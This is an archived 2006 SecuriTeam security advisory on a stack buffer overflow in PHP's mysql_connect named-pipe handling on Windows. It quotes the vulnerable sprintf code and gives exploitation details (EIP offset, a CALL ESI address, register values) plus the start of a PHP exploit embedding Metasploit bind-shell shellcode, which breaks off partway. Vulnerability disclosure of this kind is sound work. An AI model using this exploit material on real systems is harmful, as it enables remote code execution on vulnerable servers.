

[NT] PHP for Windows create_named_pipe Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00052.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 16 Jan 2006 09:48:12 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

PHP for Windows create_named_pipe Buffer Overflow

SUMMARY

Lack of proper length validation allows attackers to perform buffer overflow based and execute arbitrary code.

DETAILS

Vulnerable Systems:

- * PHP version 4.3.10
- * PHP version 4.4.0

PHP contains many built-in functions to allow a developer to interface with MySQL servers. One of these, `mysql_connect()` contains functionality to allow a user to connect via named pipes to a server.

The format of the `mysql_connect` function is as follows:

```
mysql_connect(host, username);
```

The host field can accept a host in the following format when PHP is used on a Windows system:

[NT] PHP for Windows create_named_pipe Buffer Overflow

```
"hostname:/pipe"
```

Where "pipe" is the named pipe to use. Within the internal code, this pipe name is later copied into a 257 byte internal character buffer. By supplying a long pipe variable, we are able to preform a classical stack based buffer overflow attack.

Vulnerable Code:

```
>From \ext\mysql\libmysql\libmysql.c line 216:
```

```
HANDLE create_named_pipe(NET *net, uint connect_timeout, char
**arg_host,
char **arg_unix_socket)
{
[...]
char szPipeName [ 257 ];
[...]
sprintf( szPipeName, "\\\\"%s\\pipe\\"%s", host, unix_socket);
```

The variable unix_socket is the value of the host string after the trailing colon (:), if it exists.

Because we will be overflowing several pointers, the address of a valid memory location must also be written to memory 4 bytes after our replacement EIP. When our EIP is restored, ESI will contain a pointer to the value of the "username" variable. This can be used as a location to store our shellcode, as it is a reliable location.

Exploit:

```
<?php
```

```
/*
```

This exploit was designed to work with PHP versions 4.3.10 and 4.4.0 under Windows XP SP 1. If another operating system is used, the replacement EIP must be changed.

The replacement EIP is written 261 bytes into our string. For this exploit, I used a CALL ESI from ws2_32.dll from Windows XP SP1.

The replacement ESI is simply the base of the PHP image. Locations after this address will be overwritten with some internal data.

Our shellcode is written into the \$user variable. \$two is used to prevent \$user from being truncated with a MySQL error message.

```
*/
```

```
//Exploit for
// Apache/1.3.33
// PHP/4.4.0
//Windows only
```

```
$eip = "71AB5651"; //EIP – CALL ESI from Winsock 2.0 ws2_32.dll
v5.1.2600.0
```

```
$esi = "10000000"; //ESI – Temporary. The memory under this location will
```

[NT] PHP for Windows create_named_pipe Buffer Overflow

be trashed.

```
//Metasploit win32 bind shell on port 4444
//Thread exit method, no filter
$shellcode =
pack("H*", "fc6aeb4de8f9ffffff608b6c24248b453c8b7c057801ef8b4f188b5f2001eb")
```

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- Prev by Date: [**\[UNIX\] Open Motif Multiple Buffer Overflow**](#)
 - Next by Date: [**\[TOOL\] Dnsgrep – DNS Enumeration Tool**](#)
 - Previous by thread: [**\[UNIX\] Open Motif Multiple Buffer Overflow**](#)
 - Next by thread: [**\[TOOL\] Dnsgrep – DNS Enumeration Tool**](#)
 - Index(es):
 - ◆ [**Date**](#)
 - ◆ [**Thread**](#)